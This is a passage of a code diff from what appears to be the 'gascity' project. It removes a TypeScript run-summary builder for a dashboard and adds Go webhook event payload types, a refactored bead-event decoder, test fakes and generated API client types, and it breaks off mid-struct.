+// the renderer keeps: the wire carries the FULL active set in `lanes`, and
+// RunMap renders this many by default behind a "Show N more runs" expander.
 export const MAX_VISIBLE_ACTIVE_LANES = 8;
-export const RECENT_CHANGES_CAP = 12;
-// gascity-dashboard-9w3k: once v1 history is surfaced the completed set can grow
-// into the thousands. Cap the historical lanes carried on the wire to the most-
-// recent N (sortedLanes is already newest-first) so a long tail of old runs
-// cannot bury or out-pay the active set. totalHistorical still reports the full
-// count so the operator sees the true number behind the window.
-export const MAX_HISTORICAL_LANES = 50;
-const ENGINEERING_TYPES = new Set([
-  'feature',
-  'bug',
-  'task',
-  'epic',
-  'chore',
-  'decision',
-  'molecule',
-]);
-
-export interface RunFeedScope {
-  scopeKind: 'city' | 'rig';
-  scopeRef: string;
-  rootStoreRef: string;
-}
-
-export type RunFeedScopeMap = ReadonlyMap<string, RunFeedScope>;
-
-export function buildRunSummary(
-  issues: RunIssue[],
-  feedScopes: RunFeedScopeMap = new Map(),
-  partial = false,
-): RunSummary {
-  const groups = new Map<string, RunIssue[]>();
-
-  for (const issue of issues) {
-    const rootId = runRootId(issue);
-    const group = groups.get(rootId) ?? [];
-    group.push(issue);
-    groups.set(rootId, group);
-  }
-
-  const runGroups = Array.from(groups.entries()).filter(
-    ([rootId, groupIssues]) =>
-      // gascity-dashboard-s4rp: a run rooted at a bead missing from the store
-      // (dangling root, gc-1920-class) has no authoritative root metadata — its
-      // title is inferred from a child and its scope is unresolvable. Drop it
-      // explicitly rather than rely on the run-marker check incidentally failing.
-      !isDanglingRootGroup(rootId, groupIssues) && isRunGroup(rootId, groupIssues),
-  );
-  const laneIssues = runGroups.flatMap(([, groupIssues]) => groupIssues);
-  const sortedLanes = runGroups
-    .map(([rootId, groupIssues]) => runLane(rootId, groupIssues, feedScopes))
-    .sort(compareLanes);
-
-  // gascity-dashboard-4xcv: blocked lanes are split out of Active. A stale
-  // blocked formula latch (gc-1920 repro) is not progressing; it surfaces in
-  // its own section instead of inflating the Active set.
-  const activeLanes = sortedLanes.filter(
-    (lane) => lane.phase !== 'complete' && lane.phase !== 'blocked',
-  );
-  const completedLanes = sortedLanes.filter((lane) => lane.phase === 'complete');
-  // gascity-dashboard-9w3k: cap on the wire, but keep the FULL count for the DTO.
-  const totalHistorical = completedLanes.length;
-  const historicalLanes = completedLanes.slice(0, MAX_HISTORICAL_LANES);
-  const blockedLanes = sortedLanes.filter((lane) => lane.phase === 'blocked');
-
-  // gascity-dashboard-s4rp: `lanes` carries the FULL active set, not a capped
-  // window. Session-less-latch demotion (enrichRunSummary) is session-aware and
-  // can only run downstream of this builder, so it must see every active lane to
-  // recompute totalActive exactly — capping here would hide phantoms beyond the
-  // 8th slot from demotion and leave them in the count. RunMap owns the rendered
-  // collapse (default MAX_VISIBLE_ACTIVE_LANES) and its "Show N more" expander,
-  // mirroring the historical section — so the wire is never pre-capped.
-  const summary: RunSummary = {
-    totalActive: activeLanes.length,
-    totalHistorical,
-    runCounts: runCounts(activeLanes, activeLanes.length, blockedLanes.length),
-    lanes: activeLanes,
-    historicalLanes,
-    blockedLanes,
-    recentChanges: recentChanges(laneIssues),
-    census: runCensusUnavailable(),
-  };
-  return partial ? { ...summary, lanesPartial: true } : summary;
-}
-
-// gascity-dashboard-9w3k: a group is a run when its root bead carries a run
-// marker — the graph.v2 `gc.formula_contract`, or a v1 / wisp signal (a
-// molecule bead, an explicit `gc.kind=run` marker, or a `gc.formula`
-// attribution). The v1 arms are the flood guard: a lone engineering bead
-// (root = itself with none of these markers) must NOT be promoted to a lane,
-// or every task/bug/feature in the store would render as a phantom run.
-// Convoys are already excluded upstream by runBeadFilter (ENGINEERING_TYPES
-// has no 'convoy'); dangling roots are dropped separately by the caller.
-function isRunGroup(rootId: string, issues: RunIssue[]): boolean {
-  const root = issues.find((issue) => issue.id === rootId);
-  if (!root) return false;
-  const metadata = root.metadata;
-  return (
-    stringValue(metadata?.['gc.formula_contract']) === 'graph.v2' ||
-    root.issue_type === 'molecule' ||
-    stringValue(metadata?.['gc.kind']) === 'run' ||
-    stringValue(metadata?.['gc.formula']) !== ''
-  );
-}
-
-export function runCounts(lanes: RunLane[], visible: number, blocked: number): RunCounts {
-  const counts: RunCounts = {
-    total: lanes.length,
-    visible,
-    prReview: 0,
-    designReview: 0,
-    bugfix: 0,
-    blocked,
-    other: 0,
-  };
-
-  for (const lane of lanes) {
-    switch (runKind(lane.formula)) {
-      case 'prReview':
-        counts.prReview += 1;
-        break;
-      case 'designReview':
-        counts.designReview += 1;
-        break;
-      case 'bugfix':
-        counts.bugfix += 1;
-        break;
-      case 'other':
-        counts.other += 1;
-        break;
-    }
-  }
-
-  return counts;
-}
-
-export function runKind(
-  formula: RunLane['formula'],
-): 'prReview' | 'designReview' | 'bugfix' | 'other' {
-  const formulaName = runFormulaName(formula);
-  if (formulaName === 'mol-adopt-pr-v2') return 'prReview';
-  if (formulaName === 'mol-design-review-v2') return 'designReview';
-  if (
-    formulaName === 'mol-bug-report-flow-v2' ||
-    formulaName === 'mol-bug-report-implementation-v2'
-  ) {
-    return 'bugfix';
-  }
-  return 'other';
-}
-
-export function runLane(rootId: string, issues: RunIssue[], feedScopes: RunFeedScopeMap): RunLane {
-  const phase = mapRunPhase(issues);
-  const updatedAt = latestUpdatedAt(issues);
-  const formula = runFormula(rootId, issues);
-  const formulaName = runFormulaName(formula);
-  const stages = stageProgress(phase, formulaName, issues);
-  const foundStageIndex = stages.findIndex((stage) => stage.status === 'active');
-  const activeStage = foundStageIndex >= 0 ? stages[foundStageIndex] : undefined;
-
-  const primaryInProgress = issues.filter(
-    (issue) => isPrimaryStepIssue(issue) && issue.status === 'in_progress',
-  );
-  const activeStepId = latestStepId(primaryInProgress);
-  const progress = runProgress(stages, foundStageIndex, activeStepId, issues);
-
-  const formulaStages = stagesForFormula(formulaName);
-  const formulaStageResolved =
-    formulaStages.length > 0 &&
-    progress.status === 'active_step' &&
-    formulaStages.some((stage) => stage.steps.includes(progress.stepId));
-  const scope = runScope(rootId, issues, feedScopes);
-
-  return {
-    id: rootId,
-    title: displayTitle(rootId, issues),
-    formula,
-    scope,
-    external: externalReference(issues),
-    phase: phase.phase,
-    phaseLabel: formula.status === 'known' ? (activeStage?.label ?? phase.label) : phase.label,
-    statusCounts: statusCounts(issues),
-    activeAssignees: activeAssignees(issues),
-    updatedAt,
-    stages,
-    progress,
-    formulaStageResolved,
-    health: runHealthUnavailable(),
-  };
-}
-
-export function runRootId(issue: RunIssue): string {
-  const sourceRoot = sourceRunRootId(issue);
-  if (sourceRoot) return sourceRoot;
-
-  const metadata = issue.metadata ?? {};
-  const explicitRoot = stringValue(metadata['gc.root_bead_id']);
-  if (explicitRoot) return explicitRoot;
-
-  if (stringValue(metadata['gc.kind']) === 'run' || issue.issue_type === 'molecule') {
-    return issue.id;
-  }
-
-  const moleculeId = stringValue(metadata.molecule_id);
-  if (moleculeId) return moleculeId;
-
-  return issue.id;
-}
-
-function runScope(
-  rootId: string,
-  issues: RunIssue[],
-  feedScopes: RunFeedScopeMap,
-): RunLane['scope'] {
-  const root = issues.find((issue) => issue.id === rootId);
-  const ordered = root ? [root, ...issues.filter((issue) => issue !== root)] : issues;
-  const rootStoreRef = metadataString(ordered, 'gc.root_store_ref');
-  const metadataScope = fromRootMetadataScope({
-    ...(root?.metadata ?? {}),
-    ...(rootStoreRef ? { 'gc.root_store_ref': rootStoreRef } : {}),
-    'gc.scope_ref':
-      stringValue(root?.metadata?.['gc.scope_ref']) || metadataString(ordered, 'gc.scope_ref'),
-  });
-
-  if (metadataScope !== null) {
-    return availableScope(
-      metadataScope.scopeKind,
-      metadataScope.scopeRef,
-      metadataScope.rootStoreRef,
-    );
-  }
-
-  const feedScope = feedScopes.get(rootId);
-  if (feedScope !== undefined) {
-    return availableScope(
-      feedScope.scopeKind,
-      feedScope.scopeRef,
-      rootStoreRef || feedScope.rootStoreRef,
-    );
-  }
-
-  return {
-    status: 'unavailable',
-    error: 'run scope metadata unavailable',
-  };
-}
-
-// gascity-dashboard-5e5v: the single edge where supervisor-controlled rig/scope
-// refs enter the DTO. Strip ANSI/OSC/control/bidi here so every consumer of the
-// run summary (web frontend, any terminal client that renders DTO strings
-// verbatim) is covered at one choke point — a hostile or malformed
-// `gc.root_store_ref` reaches here unvalidated (scopeRef itself is already
-// constrained by SCOPE_REF_RE upstream, but the feed-scope map is not
-// re-validated, so both fields are sanitised for a uniform guarantee).
-function availableScope(kind: 'city' | 'rig', ref: string, rootStoreRef: string): RunLane['scope'] {
-  return {
-    status: 'available',
-    kind,
-    ref: stripNonPrintable(ref),
-    rootStoreRef: stripNonPrintable(rootStoreRef),
-  };
-}
-
-function sourceRunRootId(issue: RunIssue): string {
-  return (
-    stringValue(issue.metadata?.['pr_review.run_root_id']) ||
-    stringValue(issue.metadata?.['pr_review.workflow_root_id']) ||
-    stringValue(issue.metadata?.['bugflow.active_run_id']) ||
-    stringValue(issue.metadata?.['bugflow.implementation_run_id']) ||
-    stringValue(issue.metadata?.['bugflow.implementation_workflow_id']) ||
-    stringValue(issue.metadata?.['design_review.run_root_id']) ||
-    stringValue(issue.metadata?.['design_review.workflow_root_id'])
-  );
-}
-
-function runFormula(rootId: string, issues: RunIssue[]): RunLane['formula'] {
-  const root = issues.find((issue) => issue.id === rootId);
-  const resolved = resolveRunFormulaIdentity('lane', { root, issues });
-  if (resolved.name !== null) return { status: 'known', name: resolved.name };
-
-  return { status: 'unavailable', error: 'run formula unavailable' };
-}
-
-function runFormulaName(formula: RunLane['formula']): string | null {
-  return formula.status === 'known' ? formula.name : null;
-}
-
-export function displayTitle(rootId: string, issues: RunIssue[]): string {
-  const prTitle = metadataString(issues, 'pr_review.github_title');
-  const prNumber = metadataString(issues, 'pr_review.pr_number');
-  if (prTitle && prNumber) {
-    return `PR #${prNumber}: ${prTitle}`;
-  }
-
-  const issueUrl = metadataString(issues, 'bugflow.github_issue_url');
-  const issueNumber = metadataString(issues, 'bugflow.github_issue_number');
-  if (issueUrl && issueNumber) {
-    return `Issue #${issueNumber}: ${issues[0]?.title ?? rootId}`;
-  }
-
-  const root = issues.find((i) => i.id === rootId);
-  return root?.title ?? issues[0]?.title ?? rootId;
-}
-
-export function statusCounts(issues: RunIssue[]): Record<string, number> {
-  return issues.reduce<Record<string, number>>((counts, i) => {
-    counts[i.status] = (counts[i.status] ?? 0) + 1;
-    return counts;
-  }, {});
-}
-
-export function activeAssignees(issues: RunIssue[]): string[] {
-  return Array.from(
-    new Set(
-      issues
-        .filter((i) => i.status !== 'closed')
-        .map((i) => i.assignee?.trim())
-        .filter((a): a is string => Boolean(a)),
-    ),
-  ).sort();
-}
-
-export function latestUpdatedAt(issues: RunIssue[]): RunLane['updatedAt'] {
-  const at = issues
-    .map((i) => i.updated_at)
-    .filter(Boolean)
-    .sort((a, b) => Date.parse(b) - Date.parse(a))[0];
-
-  return at === undefined
-    ? { status: 'unavailable', error: 'run update time unavailable' }
-    : { status: 'available', at };
-}
-
-export function recentChanges(issues: RunIssue[]): RunChange[] {
-  return [...issues]
-    .filter((i) => i.updated_at)
-    .sort((a, b) => Date.parse(b.updated_at) - Date.parse(a.updated_at))
-    .slice(0, RECENT_CHANGES_CAP)
-    .map((i) => ({
-      id: i.id,
-      title: i.title,
-      status: i.status,
-      updatedAt: i.updated_at,
-    }));
-}
-
-export function compareLanes(a: RunLane, b: RunLane): number {
-  const aTime = a.updatedAt.status === 'available' ? Date.parse(a.updatedAt.at) : 0;
-  const bTime = b.updatedAt.status === 'available' ? Date.parse(b.updatedAt.at) : 0;
-  return bTime - aTime || a.id.localeCompare(b.id);
-}
-
-export function externalReference(issues: RunIssue[]): RunLane['external'] {
-  const label = externalLabel(issues);
-  const url = externalUrl(issues);
-  if (label !== null && url !== null) {
-    return { status: 'available', label, url };
-  }
-  if (label !== null) {
-    return { status: 'label_only', label };
-  }
-  return { status: 'unavailable', error: 'external reference unavailable' };
-}
-
-export function externalUrl(issues: RunIssue[]): string | null {
-  const raw =
-    metadataString(issues, 'pr_review.pr_url') ||
-    metadataString(issues, 'bugflow.github_issue_url');
-  return raw && /^https?:\/\//i.test(raw) ? raw : null;
-}
-
-export function externalLabel(issues: RunIssue[]): string | null {
-  const prNumber = metadataString(issues, 'pr_review.pr_number');
-  if (prNumber) return `PR #${prNumber}`;
-  const issueNumber = metadataString(issues, 'bugflow.github_issue_number');
-  if (issueNumber) return `Issue #${issueNumber}`;
-  return (
-    metadataString(issues, 'pr_review.external_ref') ||
-    metadataString(issues, 'bugflow.external_ref') ||
-    null
-  );
-}
-
-export function metadataString(issues: RunIssue[], key: string): string {
-  return issues.map((i) => stringValue(i.metadata?.[key])).find(Boolean) ?? '';
-}
-
-export function emptyRunSummary(): RunSummary {
-  return {
-    totalActive: 0,
-    totalHistorical: 0,
-    runCounts: {
-      total: 0,
-      visible: 0,
-      prReview: 0,
-      designReview: 0,
-      bugfix: 0,
-      blocked: 0,
-      other: 0,
-    },
-    lanes: [],
-    historicalLanes: [],
-    blockedLanes: [],
-    recentChanges: [],
-    census: runCensusUnavailable(),
-  };
-}
-
-export function runCensusUnavailable(): RunSummary['census'] {
-  return {
-    status: 'unavailable',
-    error: 'run health has not been derived',
-  };
-}
-
-export function runHealthUnavailable(): RunLane['health'] {
-  return {
-    status: 'unavailable',
-    error: 'run health has not been derived',
-  };
-}
-
-export function runBeadFilter(bead: {
-  issue_type: string;
-  labels?: string[];
-  metadata?: Record<string, string>;
-}): boolean {
-  if (Array.isArray(bead.labels) && bead.labels.some((l) => l.startsWith('gc:'))) {
-    return false;
-  }
-  if (ENGINEERING_TYPES.has(bead.issue_type)) {
-    return true;
-  }
-  if (stringValue(bead.metadata?.['gc.kind']) === 'run') {
-    return true;
-  }
-  return false;
-}
-
-export function runProgress(
-  stages: RunStage[],
-  activeStageIndex: number,
-  activeStepId: string | null,
-  issues: RunIssue[],
-): RunLane['progress'] {
-  const stage = runStagePosition(stages, activeStageIndex);
-  if (activeStepId !== null) {
-    return {
-      status: 'active_step',
-      stepId: activeStepId,
-      stage,
-      attempt: runStepAttempt(issues, activeStepId),
-    };
-  }
-
-  if (stage.status === 'available') {
-    return {
-      status: 'stage_only',
-      stage,
-      error: 'active run step unavailable',
-    };
-  }
-
-  return { status: 'unavailable', error: 'run progress unavailable' };
-}
-
-export function runStagePosition(
-  stages: RunStage[],
-  activeStageIndex: number,
-): Extract<RunLane['progress'], { status: 'active_step' }>['stage'] {
-  const stage = stages[activeStageIndex];
-  return stage === undefined
-    ? { status: 'unavailable', error: 'active run stage unavailable' }
-    : {
-        status: 'available',
-        index: activeStageIndex,
-        key: stage.key,
-        label: stage.label,
-      };
-}
-
-export function runStepAttempt(
-  issues: RunIssue[],
-  stepId: string,
-): Extract<RunLane['progress'], { status: 'active_step' }>['attempt'] {
-  const value = reviewRoundForIssues(stepIssues(issues, stepId));
-  return value === null
-    ? { status: 'unavailable', error: 'run step attempt unavailable' }
-    : { status: 'available', value };
-}
diff --git a/internal/api/event_payloads.go b/internal/api/event_payloads.go
index f01a36a16e..36d17e952c 100644
--- a/internal/api/event_payloads.go
+++ b/internal/api/event_payloads.go
@@ -2,6 +2,7 @@ package api
 
 import (
 	"encoding/json"
+	"fmt"
 	"time"
 
 	"github.com/gastownhall/gascity/internal/beads"
@@ -110,6 +111,46 @@ type SessionSubmitSucceededPayload struct {
 // IsEventPayload marks SessionSubmitSucceededPayload as an events.Payload variant.
 func (SessionSubmitSucceededPayload) IsEventPayload() {}
 
+// WebhookReceivedPayload is the webhook.received event body — emitted on every
+// accepted, authentic delivery (dispatched, deduped, or no-match). It doubles as
+// the value the receiver hands the WebhookEventSink. It deliberately carries no
+// secret, signature, or body: the provider delivery id (DedupID) and a raw-body
+// byte count (BodySize) are the only delivery-derived fields.
+type WebhookReceivedPayload struct {
+	Webhook    string `json:"webhook" doc:"Configured webhook name that received the delivery."`
+	Scheme     string `json:"scheme,omitempty" doc:"Verifier scheme (github-hmac-sha256, slack-v0, …)."`
+	EventType  string `json:"event_type,omitempty" doc:"Provider event type surfaced by the scheme (e.g. pull_request)."`
+	DedupID    string `json:"dedup_id,omitempty" doc:"Provider delivery id used for dedup (or a body hash when the scheme carries none)."`
+	Deduped    bool   `json:"deduped" doc:"True when this delivery was a duplicate and was NOT dispatched."`
+	Matched    bool   `json:"matched" doc:"True when a [[webhook.rule]] matched the delivery."`
+	Dispatched bool   `json:"dispatched" doc:"True when an order was launched for this delivery."`
+	RuleIndex  int    `json:"rule_index" doc:"Matched rule index, or -1 when no rule matched."`
+	Order      string `json:"order,omitempty" doc:"Target order name when a rule matched."`
+	Rig        string `json:"rig,omitempty" doc:"Target rig when the matched rule scoped one."`
+	ScopedName string `json:"scoped_name,omitempty" doc:"Rig-qualified name of the fired order."`
+	TrackingID string `json:"tracking_id,omitempty" doc:"Tracking bead id for the dispatch, when fired."`
+	BodySize   int    `json:"body_size" doc:"Raw request body size in bytes (never the body itself)."`
+}
+
+// IsEventPayload marks WebhookReceivedPayload as an events.Payload variant.
+func (WebhookReceivedPayload) IsEventPayload() {}
+
+// WebhookRejectedPayload is the webhook.rejected event body — emitted on every
+// refused delivery. Reason is a stable enum (see the reason* constants); the
+// payload carries enough to debug WITHOUT leaking the secret, signature, or body.
+type WebhookRejectedPayload struct {
+	Webhook   string `json:"webhook" doc:"Configured webhook name (empty only for unresolved routes, which are not evented)."`
+	Scheme    string `json:"scheme,omitempty" doc:"Verifier scheme, when the webhook resolved."`
+	Reason    string `json:"reason" doc:"Rejection reason enum (perimeter_denied, read_only, rate_limited, operator_fault, verify_failed, bad_payload, dispatch_refused, …)."`
+	Status    int    `json:"status,omitempty" doc:"HTTP status returned to the sender."`
+	EventType string `json:"event_type,omitempty" doc:"Provider event type, when known at the rejection point."`
+	DedupID   string `json:"dedup_id,omitempty" doc:"Provider delivery id, when known."`
+	BodySize  int    `json:"body_size,omitempty" doc:"Raw request body size in bytes, when the body was read."`
+}
+
+// IsEventPayload marks WebhookRejectedPayload as an events.Payload variant.
+func (WebhookRejectedPayload) IsEventPayload() {}
+
 // ProjectIdentityStampedPayload carries one layer-write event for a scope
 // identity reconcile. Source is one of generated, migrated_from_metadata,
 // migrated_from_database, or cache_repair. Layer is one of L1, L2, or L3.
@@ -201,79 +242,21 @@ type BeadEventPayload struct {
 // IsEventPayload marks BeadEventPayload as an events.Payload variant.
 func (BeadEventPayload) IsEventPayload() {}
 
-// UnmarshalJSON accepts the current {"bead": ...} payload shape and the
-// legacy raw-bead shape emitted by older bd hook scripts.
+// UnmarshalJSON decodes a bead.* event payload via the shared canonical decoder
+// (beads.DecodeBeadEventPayload): the raw bead snapshot CachingStore.notifyChange
+// emits, with the wrapped {"bead": ...} form accepted as a tolerant fallback. A
+// non-empty payload that does not decode to a bead with an id is an error, so a
+// malformed payload surfaces at this typed boundary instead of decoding to a
+// zero bead.
 func (p *BeadEventPayload) UnmarshalJSON(data []byte) error {
-	var wrapped struct {
-		Bead *json.RawMessage `json:"bead"`
-	}
-	if err := json.Unmarshal(data, &wrapped); err != nil {
-		return err
-	}
-	if wrapped.Bead != nil {
-		bead, err := decodeBeadEventPayloadBead(*wrapped.Bead)
-		if err != nil {
-			return err
-		}
-		p.Bead = bead
-		return nil
-	}
-
-	bead, err := decodeBeadEventPayloadBead(data)
-	if err != nil {
-		return err
+	bead, ok := beads.DecodeBeadEventPayload(data)
+	if !ok {
+		return fmt.Errorf("decode bead event payload: not a bead snapshot with an id: %s", data)
 	}
 	p.Bead = bead
 	return nil
 }
 
-func decodeBeadEventPayloadBead(data []byte) (beads.Bead, error) {
-	var wire struct {
-		ID           string          `json:"id"`
-		Title        string          `json:"title"`
-		Status       string          `json:"status"`
-		Type         string          `json:"issue_type"`
-		TypeCompat   string          `json:"type,omitempty"`
-		Priority     *int            `json:"priority,omitempty"`
-		CreatedAt    time.Time       `json:"created_at"`
-		Assignee     string          `json:"assignee,omitempty"`
-		From         string          `json:"from,omitempty"`
-		ParentID     string          `json:"parent,omitempty"`
-		Ref          string          `json:"ref,omitempty"`
-		Needs        []string        `json:"needs,omitempty"`
-		Description  string          `json:"description,omitempty"`
-		Labels       []string        `json:"labels,omitempty"`
-		Metadata     beads.StringMap `json:"metadata,omitempty"`
-		Dependencies []beads.Dep     `json:"dependencies,omitempty"`
-	}
-	if err := json.Unmarshal(data, &wire); err != nil {
-		return beads.Bead{}, err
-	}
-	bead := beads.Bead{
-		ID:           wire.ID,
-		Title:        wire.Title,
-		Status:       wire.Status,
-		Type:         wire.Type,
-		Priority:     wire.Priority,
-		CreatedAt:    wire.CreatedAt,
-		Assignee:     wire.Assignee,
-		From:         wire.From,
-		ParentID:     wire.ParentID,
-		Ref:          wire.Ref,
-		Needs:        wire.Needs,
-		Description:  wire.Description,
-		Labels:       wire.Labels,
-		Dependencies: wire.Dependencies,
-	}
-	if bead.Type == "" {
-		bead.Type = wire.TypeCompat
-	}
-	if wire.Metadata != nil {
-		bead.Metadata = map[string]string(wire.Metadata)
-	}
-	return bead, nil
-}
-
 // SessionLifecyclePayload is the typed payload for terminal session
 // lifecycle events (session.stopped, session.crashed). Subscribers rely
 // on SessionID to correlate the event with the session bead regardless
@@ -589,6 +572,10 @@ func init() {
 	events.RegisterPayload(events.OrderFired, events.NoPayload{})
 	events.RegisterPayload(events.OrderCompleted, events.NoPayload{})
 	events.RegisterPayload(events.OrderFailed, events.NoPayload{})
+
+	// webhook.* — E8 supervisor webhook receiver observability.
+	events.RegisterPayload(events.WebhookReceived, WebhookReceivedPayload{})
+	events.RegisterPayload(events.WebhookRejected, WebhookRejectedPayload{})
 	events.RegisterPayload(events.ProviderSwapped, events.NoPayload{})
 	events.RegisterPayload(events.WorkerOperation, WorkerOperationEventPayload{})
 	events.RegisterPayload(events.ProjectIdentityStamped, ProjectIdentityStampedPayload{})
diff --git a/internal/api/event_payloads_test.go b/internal/api/event_payloads_test.go
index bb174cc2a0..5388a43860 100644
--- a/internal/api/event_payloads_test.go
+++ b/internal/api/event_payloads_test.go
@@ -33,7 +33,11 @@ func TestDecodeBeadEventPayloadWrapped(t *testing.T) {
 	}
 }
 
-func TestDecodeBeadEventPayloadLegacyRawBead(t *testing.T) {
+// TestDecodeBeadEventPayloadCanonicalRawBead covers the CANONICAL producer
+// shape: the raw bead snapshot json.Marshal(b) emits (what notifyChange writes
+// and every events.jsonl row holds). The wrapped {"bead":...} form
+// (TestDecodeBeadEventPayloadWrapped) is the tolerant fallback, not the reverse.
+func TestDecodeBeadEventPayloadCanonicalRawBead(t *testing.T) {
 	raw := json.RawMessage(`{"id":"bd-123","title":"test bead","status":"open","issue_type":"task","created_at":"2026-04-26T21:37:46Z","metadata":{"state":"awake"}}`)
 
 	got, registered, err := events.DecodePayload(events.BeadUpdated, raw)
diff --git a/internal/api/fake_state_test.go b/internal/api/fake_state_test.go
index 6e4fa1e04f..4c5640f7b5 100644
--- a/internal/api/fake_state_test.go
+++ b/internal/api/fake_state_test.go
@@ -1,10 +1,12 @@
 package api
 
 import (
+	"context"
 	"fmt"
 	"io"
 	"net/http"
 	"net/http/httptest"
+	"sync"
 	"sync/atomic"
 	"testing"
 	"time"
@@ -17,6 +19,7 @@ import (
 	"github.com/gastownhall/gascity/internal/extmsg"
 	"github.com/gastownhall/gascity/internal/mail"
 	"github.com/gastownhall/gascity/internal/mail/beadmail"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
 	"github.com/gastownhall/gascity/internal/orders"
 	"github.com/gastownhall/gascity/internal/runtime"
 	"github.com/gastownhall/gascity/internal/usage"
@@ -51,10 +54,16 @@ type fakeState struct {
 	autos             []orders.Order
 	allOrders         []orders.Order
 	services          workspacesvc.Registry
+	webhookDispatcher orderdispatch.Dispatcher // backs WebhookDispatchProvider; nil disables webhook dispatch
 	pokeCount         atomic.Int32
 	extmsgSvc         *extmsg.Services
 	adapterReg        *extmsg.AdapterRegistry
 	maintenance       MaintenanceProvider
+	// scopedStoreFn backs ScopedStoreLike. Nil (the default) returns
+	// (nil, nil) — "existing isn't bd-CLI backed, keep using it directly" —
+	// matching the real implementation's answer for the MemStore fakes most
+	// tests use.
+	scopedStoreFn func(ctx context.Context, existing beads.Store) (beads.Store, error)
 }
 
 func newFakeState(t testing.TB) *fakeState {
@@ -107,6 +116,13 @@ func (f *fakeState) StartedAt() time.Time                  { return f.startedAt
 func (f *fakeState) IsQuarantined(sessionName string) bool { return f.quarantined[sessionName] }
 func (f *fakeState) ClearCrashHistory(sessionName string)  { delete(f.quarantined, sessionName) }
 func (f *fakeState) CityBeadStore() beads.Store            { return f.cityBeadStore }
+func (f *fakeState) ScopedStoreLike(ctx context.Context, existing beads.Store) (beads.Store, error) {
+	if f.scopedStoreFn == nil {
+		return nil, nil
+	}
+	return f.scopedStoreFn(ctx, existing)
+}
+
 func (f *fakeState) NudgesBeadStore() beads.NudgesStore {
 	if f.nudgesBeadStore != nil {
 		return beads.NudgesStore{Store: f.nudgesBeadStore}
@@ -142,8 +158,14 @@ func (f *fakeState) OrdersAll() []orders.Order {
 	}
 	return f.autos
 }
-func (f *fakeState) Poke()                                    { f.pokeCount.Add(1) }
-func (f *fakeState) ServiceRegistry() workspacesvc.Registry   { return f.services }
+func (f *fakeState) Poke()                                  { f.pokeCount.Add(1) }
+func (f *fakeState) ServiceRegistry() workspacesvc.Registry { return f.services }
+
+// WebhookDispatcher lets fakeState satisfy WebhookDispatchProvider so webhook
+// receiver tests can inject a fake dispatcher (or leave it nil to exercise the
+// dispatch-unavailable path).
+func (f *fakeState) WebhookDispatcher() orderdispatch.Dispatcher { return f.webhookDispatcher }
+
 func (f *fakeState) ExtMsgServices() *extmsg.Services         { return f.extmsgSvc }
 func (f *fakeState) AdapterRegistry() *extmsg.AdapterRegistry { return f.adapterReg }
 func (f *fakeState) MaintenanceLoop() MaintenanceProvider     { return f.maintenance }
@@ -159,6 +181,12 @@ func (f *fakeState) RawConfig() *config.City {
 type fakeMutatorState struct {
 	*fakeState
 	suspended map[string]bool
+
+	// serializeMu + serializeCalls make fakeMutatorState a ConfigWriteSerializer
+	// so pack handler tests exercise the real per-city write-lock seam and can
+	// assert mutations route through it.
+	serializeMu    sync.Mutex
+	serializeCalls atomic.Int32
 }
 
 func newFakeMutatorState(t *testing.T) *fakeMutatorState {
@@ -169,6 +197,15 @@ func newFakeMutatorState(t *testing.T) *fakeMutatorState {
 	}
 }
 
+// SerializeConfigWrite runs fn under a real lock and counts the call, mirroring
+// the production controllerState seam that shares the configedit.Editor lock.
+func (f *fakeMutatorState) SerializeConfigWrite(fn func() error) error {
+	f.serializeMu.Lock()
+	defer f.serializeMu.Unlock()
+	f.serializeCalls.Add(1)
+	return fn()
+}
+
 func (f *fakeMutatorState) SuspendAgent(name string) error { f.suspended[name] = true; return nil }
 func (f *fakeMutatorState) ResumeAgent(name string) error  { delete(f.suspended, name); return nil }
 func (f *fakeMutatorState) EnableOrder(name, rig string) error {
@@ -390,6 +427,14 @@ func (f *fakeMutatorState) UpdateProvider(name string, patch ProviderUpdate) err
 	if patch.OptionsSchema != nil {
 		spec.OptionsSchema = append([]config.ProviderOption(nil), patch.OptionsSchema...)
 	}
+	if len(patch.OptionDefaults) > 0 {
+		if spec.OptionDefaults == nil {
+			spec.OptionDefaults = make(map[string]string, len(patch.OptionDefaults))
+		}
+		for k, v := range patch.OptionDefaults {
+			spec.OptionDefaults[k] = v
+		}
+	}
 	f.cfg.Providers[name] = spec
 	return nil
 }
diff --git a/internal/api/genclient/client_gen.go b/internal/api/genclient/client_gen.go
index bcd03b76eb..4ff854e859 100644
--- a/internal/api/genclient/client_gen.go
+++ b/internal/api/genclient/client_gen.go
@@ -2153,6 +2153,24 @@ type OrderResponse struct {
 	Type       string  `json:"type"`
 }
 
+// OrderRunInputBody defines model for OrderRunInputBody.
+type OrderRunInputBody struct {
+	// Vars Declared [order.params] as key/value dispatch args (parity with 'gc order run --var'). Namespaced into the exec env under GC_WEBHOOK_ARG_ before overlay (R4).
+	Vars *map[string]string `json:"vars,omitempty"`
+}
+
+// OrderRunOutputBody defines model for OrderRunOutputBody.
+type OrderRunOutputBody struct {
+	// ScopedName Rig-qualified name of the fired order.
+	ScopedName *string `json:"scoped_name,omitempty"`
+
+	// Status "dispatched" when the order fired.
+	Status string `json:"status"`
+
+	// TrackingId Tracking bead id for the dispatch.
+	TrackingId *string `json:"tracking_id,omitempty"`
+}
+
 // OrdersFeedBody defines model for OrdersFeedBody.
 type OrdersFeedBody struct {
 	Items         *[]MonitorFeedItemResponse `json:"items"`
@@ -2190,18 +2208,50 @@ type OutputTurn struct {
 	Timestamp *string `json:"timestamp,omitempty"`
 }
 
+// PackAddInputBody defines model for PackAddInputBody.
+type PackAddInputBody struct {
+	// Name Optional local binding name override; derived from the source when omitted.
+	Name *string `json:"name,omitempty"`
+
+	// Source Pack source: a remote git URL or registry ref (a sub-path of a repo is allowed).
+	Source string `json:"source"`
+
+	// Version Optional semver constraint for a git-backed pack.
+	Version *string `json:"version,omitempty"`
+}
+
+// PackAddedOutputBody defines model for PackAddedOutputBody.
+type PackAddedOutputBody struct {
+	// GitBacked Whether the resolved source is git-backed (has a lock entry).
+	GitBacked bool `json:"git_backed"`
+
+	// Name The local binding name written to [imports.<name>].
+	Name string `json:"name"`
+
+	// Source The canonical source string written to the manifest.
+	Source string `json:"source"`
+
+	// Version The version constraint written, if any.
+	Version *string `json:"version,omitempty"`
+}
+
 // PackListBody defines model for PackListBody.
 type PackListBody struct {
 	// Packs Registered packs.
 	Packs *[]PackResponse `json:"packs"`
 }
 
+// PackRemovedOutputBody defines model for PackRemovedOutputBody.
+type PackRemovedOutputBody struct {
+	// Name The binding name removed.
